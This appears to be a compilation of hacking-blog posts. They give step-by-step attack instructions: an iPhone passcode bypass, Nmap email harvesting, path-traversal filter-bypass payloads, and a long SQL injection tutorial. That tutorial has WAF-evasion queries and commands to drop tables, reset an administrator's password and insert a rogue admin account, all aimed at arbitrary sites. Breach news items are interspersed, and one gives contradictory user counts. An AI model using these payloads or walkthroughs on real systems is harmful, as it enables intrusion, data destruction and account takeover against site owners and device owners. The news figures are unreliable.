How To Dodge iOS 6.1.2 Passcode - Vulnerability Exploited And Explained

Apple has been a bit bitter past a few of its iOS releases making it that much easier for iOS device users to spit out what they chew. After the release of iOS 6.1.2, we imagined Apple to have gotten on its high horse to resolve security issues that haunted iOS 6.1. Unfortunately, our dreams remain shattered. Apple has been unable to fix 3G connectivity and Exchange Calendar bugs in iOS 6.


It seems like hackers have been able to by-pass iOS's security code once again. Founder and CEO of Vulnerability Lab, Benjamin Kunz Mejri, has described the two exploits discovered in full, giving us a tutorial on how to use them for our own benefit.

Vulnerability Lab's Benjamin Kunz Mejri posts:

A code lock bypass vulnerability via iOS as glitch is detected in the official Apple iOS v6.1 (10B143) for iPad & iPhone. The vulnerability allows an attacker with physical access to bypass via a glitch in the iOS kernel the main device code lock (auth). The vulnerability is located in the main login module of the mobile iOS device (iphone or ipad) when processing to use the screenshot function in combination with the emegerncy call and power (standby) button. The vulnerability allows the local attacker to bypass the code lock in iTunes and via USB when a black screen bug occurs. The vulnerability can be exploited by local attackers with physical device access without privileged iOS account or required user interaction. Successful exploitation of the vulnerability results in unauthorized device access and information disclosure.

For starters, you will be using the Emergency Call feature, the lock/sleep button and the screenshot feature. This will help you to by-pass the security code needed to access information on an iDevice.

In the first exploit, the hacker can penetrate the iDevice while placing the emergency call, cancelling the call while holding the lock/sleep button and bang! That's it. The hacker will be able to access the iDevice without the security code.

In the second exploit, the hacker needs to make the iPhone screen go black in order for him/her to plug in the iDevice into a computer through USB and access the phone without the PIN or security code.

You can by-pass iPhone, iPad or iPod's security by following the steps given below:

1. Make sure the code lock is activated.

2. Switch your device on by pressing the power button (top right).

3. The iDevice will come to life and the passcode lock will be visible on the screen.

4. Click on the Emergency Call.

5. Dial any random Emergency number such as 911 and hit call.

6. Disconnect the call immediately after so that the network does not connect to your dialled number.

7. Press power button and then the home button on your device.

8. Now, push the power button for three seconds, immediately followed by the home button and the emergency call button all at the same instance (without removing your finger off the other).

9. Take your finger of the home button first and then the power button.

10. The iDevice's screen, at this moment, will be black.

11. Connect your iDevice with you computer with a USB in this mode.

12. You will now have access to all files available in the system.

However, this method has its limitations too and we request our readers to attempt the above hack at their own risk and for their own knowledge.

If you have lost your iPhone, iPod or iPad, we would advice you to use the remote wipe-out feature to erase all your personal data from the iDevice before it gets into wrong hands.

Cheers!

About the Author:
This article has been written by Dr. Sindhia Javed Junejo. She is one of the core members of RHA team.

Use NMAP as a Information gathering tool

Usually we use NMAP as a port scanner to find open port of web-server, But with help of this Tool we can also gather Information about victim using NMAP script. In this tutorial we use NMAP to gather information.

(1) Use NMAP to determine I.P. Address of victim:- NMAP include two scripts in his database.

nmap --script ip-geolocation-* host-name

As we can see that it show co-ordinate & location of our target.

(2)Use NMAP as Whois Tool:- Following Command is used to find whois information about victim

nmap --script whois host-name

(3)Use NMAP for Email Harvesting:- There are two script for email harvesting.

• Http-google-email
• http-email-harvesting

Http-email-harvesting is official repository in nmap . But if you want to use Google webs & Google Group to find Email then you should Download Http-google-email from here.

Use Following command to find email Address

nmap -p80 --script http-email-harvest host-name

(4)Use NMAP as Brute Force DNS:- DNS recor contain useful information about website. There are many tools available for this purpose , But you can also use nmap for simple DNS Brute Force Attack.

Use Following command

nmap -p80 --script dns-brute host-name

(5)Discovering Additional Host-name:- we can find additional host which has same I.p. Address using simple nmap script. It can help us to find web-application which hosted on same I.p. Address.

Download this nse script from here.

You can aslo use following script code

nmap --script http-robtex-reverse-ip --script-args http-robtex-reverse-ip.host='ip'

How to Bypassing Filter to Traversal Attacks ?

Bypassing Filter to Traversal Attacks

If your initial attempts to perform a traversal attack, as described previously, are unsuccessful, this does not mean that the application is not vulnerable. Many application developers are aware of path traversal vulnerabilities and implement various kinds of input validation checks in an attempt to prevent them. However, those defenses are often flawed and can be bypassed by a skilled attacker.

The first type of input filter commonly encountered involves checking

whether the filename parameter contains any path traversal sequences, and if so, either rejects the request or attempts to sanitize the input to remove the sequences. This type of filter is often vulnerable to various attacks that use alternative encodings and other tricks to defeat the filter. These attacks all exploit the type of canonicalization problems faced by input validation mechanisms

Always try path traversal sequences using both forward slashes and

backslashes. Many input filters check for only one of these, when the file system may support both.

Try simple URL-encoded representations of traversal sequences, using

the following encodings. Be sure to encode every single slash and dot

within your input:

dot                            %2e

forward slash           %2f

backslash                  %5c

Try using 16-bit Unicode–encoding:

dot                           %u002e

forward slash          %u2215

backslash                %u2216

Try double URL–encoding:

dot                        %252e

forward slash         %252f

backslash                %255c

Try overlong UTF-8 Unicode–encoding:

dot                        %c0%2e       %e0%40%ae    %c0ae etc.

forward slash        %c0%af       %e0%80%af      %c0%2f etc.

backslash              %c0%5c       %c0%80%5c      etc.

You can use the illegal Unicode payload type within Burp Intruder to generate a huge number of alternate representations of any given character, and submit this at the relevant place within your target parameter. These are representations that strictly violate the rules for Unicode representation but are nevertheless accepted by many implementations of Unicode decoders, particularly on the Windows platform.

If the application is attempting to sanitize user input by removing traversal sequences, and does not apply this filter recursively, then it may be possible to bypass the filter by placing one sequence within another. For example:

....//

....\/

..../\

....\\

The second type of input filter commonly encountered in defenses against path traversal attacks involves verifying whether the user-supplied filename contains a suffix (i.e., file type) or prefix (i.e., starting directory) that the application is expecting.

Some applications check whether the user-supplied file name ends in a

particular file type or set of file types, and reject attempts to access anything else. Sometimes this check can be subverted by placing a URL encoded null byte at the end of your requested filename, followed by a file type that the application accepts.

For example:

../../../../../boot.ini.jpg

The reason this attack sometimes succeeds is that the file type check

is implemented using an API in a managed execution environment

in which strings are permitted to contain null characters (such as

String.endsWith() in Java). However, when the file is actually retrieved, the application ultimately uses an API in an unmanaged environment in which strings are null-terminated and so your file name is effectively truncated to your desired value.

A different attack against file type filtering is to use a URL-encoded newline character. Some methods of file retrieval (usually on Unix-based platforms) may effectively truncate your file name when a newline is encountered:

../../../../../etc/passwd%0a.jpg

Some applications attempt to control the file type being accessed by

appending their own file type suffix to the filename supplied by the user. In this situation, either of the preceding exploits may be effective, for the same reasons.

Some applications check whether the user-supplied file name starts with a particular subdirectory of the start directory, or even a specific file name. This check can of course be trivially bypassed as follows:

wahh-app/images/../../../../../../../etc/passwd

If none of the preceding attacks against input filters are successful individually, it may be that the application is implementing multiple types of filters, and so you need to combine several of these attacks simultaneously (both against traversal sequence filters and file type or directory filters). If possible, the best approach here is to try to break the problem down into separate stages. For example, if the request for

diagram1.jpg

is successful, but the request for

foo/../diagram1.jpg

fails, then try all of the possible traversal sequence bypasses until a variation on the second request is successful. If these successful traversal sequence bypasses don’t enable you to access /etc/passwd, probe whether any file type filtering is implemented and can be bypassed, by requesting

diagram1.jpg.jpg

Working entirely within the start directory defined by the application, try to probe to understand all of the filters being implemented, and see whether each can be bypassed individually with the techniques described.

Of course, if you have white box access to the application, then your task is much easier, because you can systematically work through different types of input and verify conclusively what filename (if any) is actually reaching the file system.

DOM Based XSS In AVG

Lately, i have been researching on DOM based XSS a bit, Recently i found a DOM based XSS in AVG, DOM based XSS is caused due to lack of input filtering inside client side javascripts, since most of the code is moving towards client side, therefore DOM based xss have been very common now a days, It is predicted by the experts that the DOM based xss mostly occurs in the websites that heavily rely upon javascripts.

With that being said, let's take a look at the DOM based XSS POC:




The vulnerability is the result of lack of escaping done in "js_stdfull.js". The following is the screen shot of the vulnerable code causing the DOM based XSS:

Vulnerable code:

 //display the correct tab based on the url (#name) var pathname = $(location).attr('href');var urlparts = pathname.split("#");

I would like to give full credits to David Vieira-Kurz from Majorsecurity.com (@secalert), for helping me sort out the vulnerable code.

Yet another security researcher, David Sopas also found the same issue but on the English version of the site:

http://labs.davidsopas.com/2013/01/avg-vulnerable-to-dom-xss.html

Path traversal vulnerabilities Tutorial

Path traversal vulnerabilities arise when user-controllable data is used by the application to access files and directories on the application server or other back-end file system in an unsafe way. By submitting crafted input, an attacker Exploiting Path Traversal may be able to cause arbitrary content to be read from, or written to, anywhere on the file system being accessed. This often enables an attacker to read sensitive information from the server, or overwrite sensitive files, leading ultimately to arbitrary command execution on the server.

Consider the following example, in which an application uses a dynamic page to return static images to the client. The name of the requested image is specified in a query string parameter:

https://wahh-app.com/scripts/GetImage.aspx?file=diagram1.jpg

When the server processes this request, it performs the following steps:

1. Extracts the value of the file parameter from the query string.

2. Appends this value to the prefix C:\wahh-app\images\.

3. Opens the file with this name.

4. Reads the file’s contents and returns it to the client.

The vulnerability arises because an attacker can place path traversal

sequences into the file name in order to backtrack up from the image directory specified in step 2 and so access files from anywhere on the server. The path traversal sequence is known as “dot-dot-slash,” and a typical attack would look like this:

https://wahh-app.com/scripts/GetImage.aspx?file=..\..\windows\repair\sam

When the application appends the value of the file parameter to the name of the images directory, it obtains the following path:

C:\wahh-app\images\..\..\winnt\repair\sam

The two traversal sequences effectively step back up from the images directory to the root of the C: drive, and so the preceding path is equivalent to this: C:\winnt\repair\sam

Hence, instead of returning an image file, the server actually returns the repair copy of the Windows SAM file. This file may be analyzed by the attacker to obtain usernames and passwords for the server operating system.

In this simple example, the application implements no defenses to prevent path traversal attacks. However, because these attacks have been widely known about for some time, it is common to encounter applications that implement various defenses against them, often based on input validation filters. As you will see, these filters are often poorly designed and can be bypassed by a skilled attacker.

Adobe Zero Day Malware - Upgrade Adobe Reader and Acrobat

A few days ago we blogged about Adobe's Zero-Day Malware affecting Adobe Reader and Acrobat. The malware was investigated on by Sophos Lab and they uncovered an ample amount of information. We reported that while Adobe was trying to fix the vulnerability, users could defend themselves by following a few simple steps. Well, Adobe has kept its promise and we shall fear no more. The emergency update for Adobe Reader and Acrobat have been released.

Adobe has fixed it for all platforms. It is highly recommended that all Mac, Windows and Linux users upgrade to the new release.

According to Adobe's Security Bulletin;

Adobe is aware of reports that two vulnerabilities (CVE-2013-0640, CVE-2013-0641) referenced in Security Advisory APSA13-02 are being exploited in the wild. Adobe recommends users update their product installations using the instructions provided in the "Solution" section below.

Cheers!

About the Author:

This article has been written by Dr. Sindhia Javed Junejo. She is one of the core members of RHA team.

All Problems And Solutions Related To SQL injection

                             

Today I'll write a tutorial for you that covers most problems while applying SQL injection and solutions to them. Probably every person who has looked at tutorials to hack a website have noticed that there are too many SQL tutorials. Almost every forum has 10 tutorials and blogs 5 tutorials about SQL injection, but actually those tutorials are stolen from somewhere else and the author most of the time doesn't even know why does SQL injection works. All of those tutorials are like textbooks with their ABC's and the result is just a mess. Everyone is writing tutorials about SQL, but nobody covers the problems what will come with that attack.
What is the cause of most problems related to SQL injection?

Webdevelopers aren't always really dumb and they have also heard of hackers and have implemented some security measures like WAF or manual protetion. WAF is an Web application firewall and will block all malicous requests, but WAF's are quite easy to bypass. Nobody will like to have their site hacked and they are also implementing some security, but ofcourse it will be false to say that if we fail then it's the servers fault. There's also a huge possibility that we're injecting otherwise than we should.
A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL Injection. By customizing the rules to your application, many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified.

If you're interested in WAF's and how they're working then I suggest you read it from wikipedia http://en.wikipedia.org/wiki/Application_firewall or from Open Web Application Security Project what's also known as OWASP

https://www.owasp.org/index.php/Web_Application_Firewall

Order by is being blocked?
It rarely happens, but sometimes you can't use order by because the WAF has blocked it or some other reason. Unfortunally we can't skip the order by and we have to find another way. The way is simple, instead of using Order by we have to use Group by because that's very unlikely to be blacklisted by the WAF.
If that request will return 'forbidden' then it means it's blocked.

http://site.com/gallery?id=1 order by 100--

Then you have to try to use Group by and it will return correct :

http://site.com/gallery?id=1 group by 100-- / success

Still there's a possibility that WAF will block the request, but there's one other way and that's not very widely known. It's about using ( the main query ) = (select 1)

http://example.org/news.php?id=8 and (select * from admins)=(select 1)

Then you'll probably receive an error like this : Operand should contain 5 column(s).
That error means that there are 5 columns and it means we can proceed to our next step what's union select. The command was different than usual, but the injection will be the same.

http://site.com/news.php?id=-8 union select 1,2,3,4,5--

'order by 10000' and still not error?

There's a small chapter where I'll tell you why sometimes order by won't work and you don't see an error. The difference between this capther and the last one is that previously your requests were blocked by the WAF, but here the injection method is a little bit different. When I saw that the first time then I thought about how a Database has 100000 columns because I'm not getting the error while the site is vulnerable?

The answer is quite logical. By trying order by 1000000 we're not getting the error because there are so many columns in there, we're not getting the error because our injection isn't working.

Example : site.com/news.php?id=9 order by 10000000000-- [No Error] 

to bypass this you just have to change the URL a little bit. Add ' after the ID number and at the end just enter +
Example :

site.com/news.php?id=9' order by 10000000--+[Error]

If the last example is working for you then it means you have to use it in the next steps also. This isn't anything complicated, but to make everything clear I'll still give you an example.

http://site.com/news.php?id=-9' union select 1,2,3,4,5,6,7,8--+

Extracting data from other database.

Sometimes we can administer the injection successfully and there doesn't appear any errors, it's a hacker's perfect dream. That dream will end the moment we see that nothing useful exists while doing so. There are only few tables and are called "News", "gallery" and "articles". They aren't useful at all because we'd like to see tables like "Admin" or "Administrator". Still we know that the server probably has several databases and even if we find the information we're looking for, you should still take a look within the other databases as well.

This will give you Schema names.

site.com/news.php?id=9 union select 1,2,group_concat(schema_name),4 from information_schema.schemata

And with this code you can get the tables from the schema.

site.com/news.php?id=9 union select 1,2,group_concat(table_name),4 from informati

on_schema.tables where table_schema=0x

This code will give you the column names.

site.com/news.php?id=9 union select 1,2,group_concat(column_name),4 from information_schema.tables where table_schema=0x and table_name=0x

I get error if I try to extract tables.

site.com/news.php?id=9 union select 1,2,group_concat(table_name),4 from information_schema.tables

Le wild Error appears.

"you have an error in your sql syntax near '' at line 1"
Change the URL for this
site.com/news.php?id=9 union select 1,2,concat(unhex(hex(table_name),4 from information_schema.tables limit 0,1-- 

How to bypass WAF/Web application firewall

The biggest reason why most the problems occur is due to most of the security measures added to the server and WAF, but mostly they're of no use and can be bypassed really easily. Mostly you will get error 404 like it's in the code below, this is WAF. Most likely persons who're into SQL injection and bypassing WAF's are thinking at the moment "Dude, only one bypassing method?", but in this case we both know that bypassing WAF's is a different kind of science and I could write a ebook on bypassing them. I'll answer all those bypassing queries another time.

"404 forbidden you do not have permission to access to this webpage"

The code will look like this if you get the error

http://www.site.com/index.php?id=-1+union+select+1,2,3,4,5--

[Error]
Change the url Like it's below.

http://www.site.com/index.php?id=-1+/*!UnIoN*/+/*!sELeCt*/1,2,3,4,5--

[No error]

Is it possible to modify the information in the database by SQL injection?

Most people aren't aware of it, but it's possible. You're able to Update, Drop, insert and select information. Most of people who're dealing with SQL injection have never looked deeper in the attack than shown in the average SQL injection tutorial, but an average SQL injection tutorial doesn't have those statements added. Most likely because most people are copy&pasting tutorials or just overwriting them. You might ask that why should one update, drop or insert information into the database if I can just look into the information to use the current ones, why should we make another Administrator account if there already exists one?

Reading information is just one part of the injection and sometimes those other commands that are quite infamous are more powerful than we think. If you have read all those avalible SQL injection tutorials then you're probably aware that you can read the information, but you didn't know that you can modify it. If you have tried SQL injection then you have probably faced some problems that there isn't an administrator account, why not use the Insert command to add one? There isn't an admin page to login, why not drop the table and all information so nobody can access it? I want to get rid of the current Administrator and can't change the password, why not use the update commands to change the password of the Administrator?
You must have noticed that I have talked alot about unneccesary information that you probably don't need to know, but that's the information you need to learn and understand to become a real hacker because you have to learn how SQL databases are working to fiqure out how those commands are working because you can't find tutorials about it on the network. It's just like math you learn in school, if you won't learn it then you'll be in trouble when you grow up.

Theory is almost over and now let's get to the practice.

Let's say that we're visiting that page and it's vulnerable to SQL injection.

http://site.com/news.php?id=1

You have to start injecting to look at the tables and columns in them, but let's assume that the current table is named as "News".

With SQL injection you can SELECT, DROP, UPDATE and INSERT information to the database. The SELECT is probably already covered in all the tutorials so let's focus on the other three. Let's start with the DROP command.

I'd like to get rid of a table, how to do it?

http://site.com/news.php?id=1; DROP TABLE news

That seems easy, we have just dropped the table. I'd explain what we did in the above statement, but it's quite hard to explain because you all can understand the above command. Unfortunally most of 'hackers' who're making tutorials on SQL injection aren't aware of it and sometimes these three words are more important than all the information we can read on some tutorials.

Let's head to the next statement what's UPDATE.

http://site.com/news.php?id=1; UPDATE 'Table name' SET 'data you want to edit' = 

'new data' WHERE column_name='information'--

Above explanation might be quite confusing so I'll add a query which is what you're most likely going to use in real life :

http://site.com/news.php?id=1; UPDATE 'admin_login' SET 'password' = 'Crackhackforum' WHERE login_name='Rynaldo'--

We have just updated Administrator account's password. In the above example, we updated the column called 'admin_login" and added a password what is "Crackhackforum" and that credential belongs to the account with the username Rynaldo. Kinda heavy to explain, but I hope you'll understand.
How does INSERT work?
Luckily "INSERT" isn't as easy as the "DROP" statement, but still quite understandable. Let's go further with Administrator privileges because that's what most of people are heading to. Adding an administrator
account would be like this :

http://site.com/news.php?id=1; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (2,'Rynaldo','Crackhackforum','NA')--

INSERT INTO 'admin_login' means that we're inserting something to 'admin_login'. Now we have to give instructions to the database, about what exact information we want to add, ('login_id', 'login_name', 'password', 'details'). Means that the specifications we're adding to the DB are Login_id, Login_name, password and details and the information the database needs to create a new account. So far we have told the database what information we want to add, we want to add a new account, password, account ID and details. Now we have to tell the database what will be the new account's username, it's password and account ID, VALUES (2,'Rynaldo','Crackhackforum','NA')-- . That means account ID is 2, username will be Rynaldo, password of the account will be Crackhackforum. Your new account has been added to the database and all you have to do is open up the Administrator page and login.
Passwords aren't working

Sometimes the site is vulnerable to SQL and you can get the passwords. Then you can find the site's username and password, but when you enter it into adminpanel then it shows the "Wrong password" error. This can be because those usernames and passwords are there, but aren't working. This is made by site's admin to confuse you and actually the Cpanel doesn't contain any username/password. Sometimes accounts are removed, but the accounts are still in the database. Sometimes it isn't made by the admin and those credentials have been left in the database after removing the login page, sometimes the real credentials have been transfered to another database and old entries haven't been deleted.
Sometimes I get some weird password
This weird password is called Hash and most likely it's MD5 hash. That means the site's admin has added more security to the website and has encrypted the passwords. Most popular crypting way is using MD5 hash. The best way to crack MD5 hashes is using PasswordsPro or Hashcat because they're the best and can crack the password even if it's really hard or isn't MD5. Also you can use http://md5decrypter.com. I don't like to be a person who's pitching around with small details that aren't correct, but here's a tip that you should keep in mind. The domain is saying it's "md5decryptor" that reffers to decrypting MD5 hashes.
Actually it's not possible to decrypt a hash because they're having 'one-way' encryption. One way encryption means it can only be encrypted, but not decrypted. Still it doesn't mean that we can't know what the hash means, we have to crack it. Hashes can't be decrypted, only cracked. Those online sites aren't cracking hashes every time, they're saving already cracked hashes & results to their database and if you'll ask a hash what's already in their database, you will get the result. :)
Md5 hash looks like this : 827ccb0eea8a706c4c34a16891f84e7b = 12345
You can read about all Hashes that exist and their description http://pastebin.com/aiyxhQsf
Md5 hashes can't be decrypted, only cracked
How to find admin page of site?
Some sites don't contain admin control panel and that means you can use any method for finding the admin page, but that doesn't even exist. You might ask "I got the username and password from the database, why isn't there any admin login page then?", but sometimes they are just left in the database after removing the Cpanel.
Mostly people are using tools called "Admin page finders". They have some specific list of pages and will try them. If the page will give HTTP response 200 then it means the page exists, but if the server responds with HTTP response 404 then it means the page doesn't exist in there. If the page exists in the list then the tool will say "Page found". I don't have any tool to share at the moment, but if you're downloading it yourself then be beware because those tools might beinfected with viruses.
Mostly the tools I mentioned above, Admin Page Finders doesn't usually find the administrator page if it's customly made or renamed. That means quite oftenly those tools don't help us out and we have to use an alternative and I think the best one is by using site crawlers. Most of you are probably having Acunetix Web Vulnerability scanner 8 and it has one wonderful feature called site crawler. It'll show you all the pages on the site and will 100% find the login page if there exists one.
Automated SQL injection tools.
Automated SQL injection tools are programs what will do the whole work for you, sometimes they will even crack the hashes and will find the Administrator page for you. Most people are using automated SQL injection tools and most popular of them are Havij and SQLmap. Havij is being used much more than SQLmap no matter the other tool is much better for that injection. The sad truth why that is so is that many people aren't even able to run SQLmap and those persons are called script-kiddies. Being a script-kiddie is the worst thing you can be in the hacking world and if you won't learn how to perform the attack manually and are only using tools then you're one of them.
If you're using those tools to perform the attack then most people will think that you're a script-kiddie because most likely you are. Professionals won't take you seriously if you're injecting with them and you won't become a real hacker neither.

 My above text might give you a question, "But I've seen that even Proffesional hackers are using SQLmap?" and I'd like to say that everything isn't always black & white. If there are 10 databases, 50 tables in them and 100 columns in the table then it would just take days to proccess all that information. I'm also sometimes using automated tools because it makes my life easier, but to use those tools you first have to learn how to use those tools manually and that's what the tutorial above is teaching you.
Use automated tools only to make your life easier, but don't even look at them if you don't know how to perform the attack manually.

What else can I do with SQL injection besides extracting information? There are many things besides extracting information from the database and sometimes they are much more powerful. We have talked about how sometimes the database doesn't contain Administrator's credentials or you can't crack the hashes. Then all the injection seems pointless because we can't use the information we have got from the database. Still we can use another methods. Just like we can conduct CSRF attack with persistent XSS, we can also move to another attacks through SQL injection. One of the solution would be performing DOS attack on the website which is vulnerable to SQL injection. DOS is shortened from Denial of service and it's totaly different from DDOS that's Distributed Denial of Service. I think that you all probably know what these are, but if I'm taking that attack up with a sentence then DOS will allow us to take down the website temporarily so users won't have access to the site. The other way would be uploading our shell through SQL injection. If you're having a question about what's shell then by saying it shortly, it's a script what we'll upload to the server and it will create an backdoor for us and will give us all the privileges to do what we'd like in the server and sometimes by uploading a shell you're having more rights to modify things than the real Administrator has. After you have uploaded a shell you can move forward to symlink which means that we can deface all the sites that are sharing the same server. Shelling the website is probably the most powerful thing you can use on the website. I have not covered how to upload a shell through SQL injection and haven't covered how to cause DOS neither, but probably will do in my next tutorials because uploading a shell through SQL is another kind of science, just like bypassing WAF's. Those are the most common methods that attackers will put in use after they can't get anything useful out of the database. We have all heard that immagination is unlimited and you can do whatever you'd like. That's kinda true and hacking isn't an exception, there are more ways than I can count.

What to do if all the information doesn't display on the page?
I actually have rarely ever seen that there is so much information on the webpage that it all just doesn't fit in there, but one person recently asked that question from me and I decided to add it here. Also if you're having questions then surely ask and I'll update the article. If we're getting back to the question then the answer is simple, if all the information can't fit in the screen then you have to look at the source code because everything displayed on the webpage will be in there. Also sometimes information will appear in the tab where usually is the site's name. If you can't see the information then sometimes it's hidden, but with taking a deeper look you might find it from the source. That's why you always have to look all the solutions out before quiting because sometimes you might think "I can't inject into that..", but actually the answer is hidden in the source.

About the Author
Every sentence of that thread is writtened by Crackhackforum.com staff Rynaldo. You can use that tutorial on your blog, sites and forums if you'll keep the credits to crackhackforum.com Staff Rynaldo and linking to this post. 

Jailbreak iOS 6.1.2 Untethered On All iDevices

Apple has been quick to patch the last of the bugs found in the iOS 6.1.1. With the release of iOS 6.1.2 it seemed that Apple would patch the jailbreak exploit as well. Fortunately, they haven't. The developers of the jailbreak tool Evasi0n are on a roll as they have updated the software to support iOS 6.1.2. Evasi0n v1.4 can now untether jailbreak iOS 6.1.2.

Note: This Jailbreak tool is available for all the iDevices mentioned below:

• iPhone 5
• iPhone 4S
• iPhone 4
• iPhone 3GS
• iPad 4
• iPad 3
• iPad 2
• iPad mini
• iPod touch 4
• iPod touch 5

Its supported firmwares are:

• iOS 6.0
• iOS 6.0.1
• iOS 6.0.2
• iOS 6.1
• iOS 6.1.1
• iOS 6.1.2

Evasi0n tool supports all iDevices except Apple TV 3 and it is recommended that you backup your device using iTunes or iCloud before proceeding.

All the steps are exactly the same as before. Nothing has changed. If you haven't read up on the topic, we would suggest you look into a full tutorial.

Please read the instructions below and follow them to the dot:

1. Update your iDevice to iOS 6.1.2 via iTunes restore. Click here to download iOS 6.1.2 and update your iDevice manually.

2. Download Evasi0n Jailbreak Tool v1.4 on your Windows, Mac or Linux. (Download links provided below).

3. Disable password lock in case you have enabled it on your iDevice. To do so, go to Settings --> General --> Passcode Lock, and then just switch it off.

4. Run Evasi0n on your computer to get started.

5. Connect your iDevice to your computer via data cable and make sure that your computer recognises it.

6. Hit the jailbreak option and wait for the software to complete performing necessary steps to jailbreak your device. Do not touch your device or your computer during this time.

7. Once done, your iDevice will boot back up. When it does, unlock your device, and click on the icon which will now be available on your homescreen named "jailbreak". Click on it and wait.

8. After rebooting a couple of times, you will then have access to Cydia on your homescreen. This means that you have successfully jailbroken your iGadget. Congratulations!

Download Evasi0n Jailbreak Tool v1.4

Windows

Mac

Linux

Cheers!

About the Author:
This article is written by Dr. Sindhia Javed Junejo. She is one of the core members of RHA team.

BlackBerry Users At Risk

Attention all BlackBerry users! You are vulnerable to remote attacks by hackers.

It has been reported by Blackberry security advisory that it is possible for hackers to infiltrate BlackBerry Enterprise Server. Hackers can also run malicious code on BES which is used by many companies. These exploits are considered to be grave in nature.


According to BlackBerry security advisory:

Vulnerabilities exist in how the BlackBerry MDS Connection Service and the BlackBerry Messaging Agent process TIFF images for rendering on the BlackBerry smartphone.Successful exploitation of any of these vulnerabilities might allow an attacker to gain access to and execute code on the BlackBerry Enterprise Server.Depending on the privileges available to the configured BlackBerry Enterprise Server service account, the attacker might also be able to extend access to other non-segmented parts of the network.

The hacker can trick the user into visiting a webpage that carries out the attack or embeds a malicious code directly into an email or instant message. BlackBerry Enterprise Server is mainly involved in this method and it depends on how it handles TIFF image files which are being viewed by the BlackBerry user. According to some reports, these images/links do not even need to be clicked or an email to be viewed for the attack to begin.

The biggest concern is that through the attack, hackers might succeed into planting malicious code on BES which allows remote access to it. This would lead to information being stolen from your network. Hackers may also be able to crash or interrupt communications through this exploit.

BlackBerry phones are not the root cause of these attacks. BES used by companies is the vulnerable software here. Therefore, you do not need to throw your BlackBerry out.

There haven't been any reports on attacks being carried out on BlackBerry customers but we request our readers to update their phones as soon as possible before you become a victim and your personal information is stolen from you.

BlackBerry has published workarounds from the companies who may not succeed in updating their BES.

Cheers!

About the Author:
This article is written by Dr. Sindhia Javed Junejo. She is one the core members of RHA team.

Facebook's Security Breeched - Java Zero-Day Vulnerability Found

Facebook was attacked by unidentified hackers on Friday. The attack was carried out when Facebook Co.'s employees visited a developer's website which was, you guessed it, compromised. The malware was installed on their laptops and so began the journey of Facebook's self-enlightenment.

Facebook has over 1 million users to its disposal who share sensitive information on the social networking site, giving Facebook the edge to control and use it freely. However, none of these 1 billion users want their private content to be spread out for everyone's eyes to see. Facebook is very aware of what attacks like such could mean for their following. It could bring down the very foundation of Facebook as we know it.

Facebook published a formal bulletin regarding the security breech titled "Protecting People on Facebook":

Facebook, like every significant internet service, is frequently targeted by those who want to disrupt or access our data and infrastructure. As such, we invest heavily in preventing, detecting, and responding to threats that target our infrastructure, and we never stop working to protect the people who use our service. The vast majority of the time, we are successful in preventing harm before it happens, and our security team works to quickly and effectively investigate and stop abuse.

Last month, Facebook Security discovered that our systems had been targeted in a sophisticated attack. This attack occurred when a handful of employees visited a mobile developer website that was compromised. The compromised website hosted an exploit which then allowed malware to be installed on these employee laptops. The laptops were fully-patched and running up-to-date anti-virus software. As soon as we discovered the presence of the malware, we remediated all infected machines, informed law enforcement, and began a significant investigation that continues to this day.

We have found no evidence that Facebook user data was compromised.

Previously, Facebook had claimed that none of the data that it has authority over or has been intrusted to them was compromised in the attack. In response to which Kevin Mitnick, the founder of Mitnick Security Consulting LLC, tweeted:

Surely enough, Facebook's CSO, Joe Sullivan is then reported to have said in an interview:

An analysis of the activity of the malware showed that "they were trying to move laterally into our production environment," Sullivan said. The attackers gained "some limited visibility" into production systems, but a forensic review found no evidence that data was exfiltrated from that. However, some of the information on the laptops themselves—"what you typically find on an engineer's laptop," Sullivan said—was harvested by the hackers, including corporate data, e-mail, and some software code.

It is reported that the security breech occurred to due a Java zero-day vulnerability. Through this exploit the hackers were able to infiltrate Facebook's network and inject malware. Facebook now claims that the exploit has been patched and anti-virused. Therefore, users of Facebook can be at ease again.

Facebook has been jumping up and down trying to convince its users that their sensitive data has not been compromised by the attack:

There are a few important points that people on Facebook should understand about this attack:

- Foremost, we have found no evidence that Facebook user data was compromised.

- We will continue to work with law enforcement and the other organizations and entities affected by this attack. It is in everyone’s interests for our industry to work together to prevent attacks such as these in the future.

However, we would request all our readers to switch off Java in their browsers.

Cheers!

About the Author:

This article is written by Dr. Sindhia Javed Junejo. She is one of the core members of RHA team.

Blind SQL Injection - Detection And Exploitation

In our previous post "SQL Injection Basics - Union Based", I explained the basic technique not only to find detect sql injection vulnerabilities also how to exploit SQL Injection vulnerabilities with Union based method. However, In this post a security researcher and a good friend of mine ahmad ashraff decided to contribute to RHA and present his research on some blind sqli techniques, So enough from me, Over to Ahmed.


In this post I'm going to share with all on how to detect if the website is vulnerable to Blind SQLi or there is no SQLi at all.

Before, do note that I'm not an expert in this security/hacking scene. This sharing based on my own understanding from articles/discussions among of these great people such as .mario,stampar,R4x0r,Nurfed,benzi and more!!

In Blind SQLi, we need to understand correctly on how the server/website response based on TRUE or FALSE condition.AFAIK, there are 2 ways to detect it.

1. Quotes

It can be either single quote (') , double quotes (")  or backtick ( ` )

Look at the example below.

A normal page condition ( TRUE condition )

The page become blank (FALSE condition) once we put a single quote

The page back to normal condition (TRUE) once we put another single quote.

We can use these method as well to check the TRUE/FALSE condition under this way of detection.

    2. Numeric Operators

 Make sure you know how to calculate a simple math! 

The example below shows that pic_id is vulnerable to SQLi

Normal page loaded. Because the condition is true. 1=1 is TRUE

The admin word is missing. This shows a FALSE condition since 1=2 is FALSE.

Another way is by using simple calculation. The current page loaded fine on pic_id=13.

The page loaded fine but it shows another page. This is because we added 1 in the pic_id where it'll become 13+1=14 so the page will loaded the pic_id=14

Here are some other method under this technique.

Next, we want to inject it! But how?

i. Common technique

id=1 and 1=1

id=1 and (put our sql query here)=(put our expectation here)

as  example we want to query the current version,

id=1 and substring(@@version,1,1)=4

so, if the current MySQL version used by the website started with 4 the page will load normally (TRUE condition) else the page will be error/blank (FALSE condition)

Example as below

Testing if the MySQL used is version 4.*. Page error,shows that the website is not using that version.

Testing if the MySQL used is version 5.*. Page loaded fine,shows the current version used is 5.*

ii. Using a Case statement

id=1 and 1

id=1 and (CASE when (our sql query here) THEN 1 else 0 END)

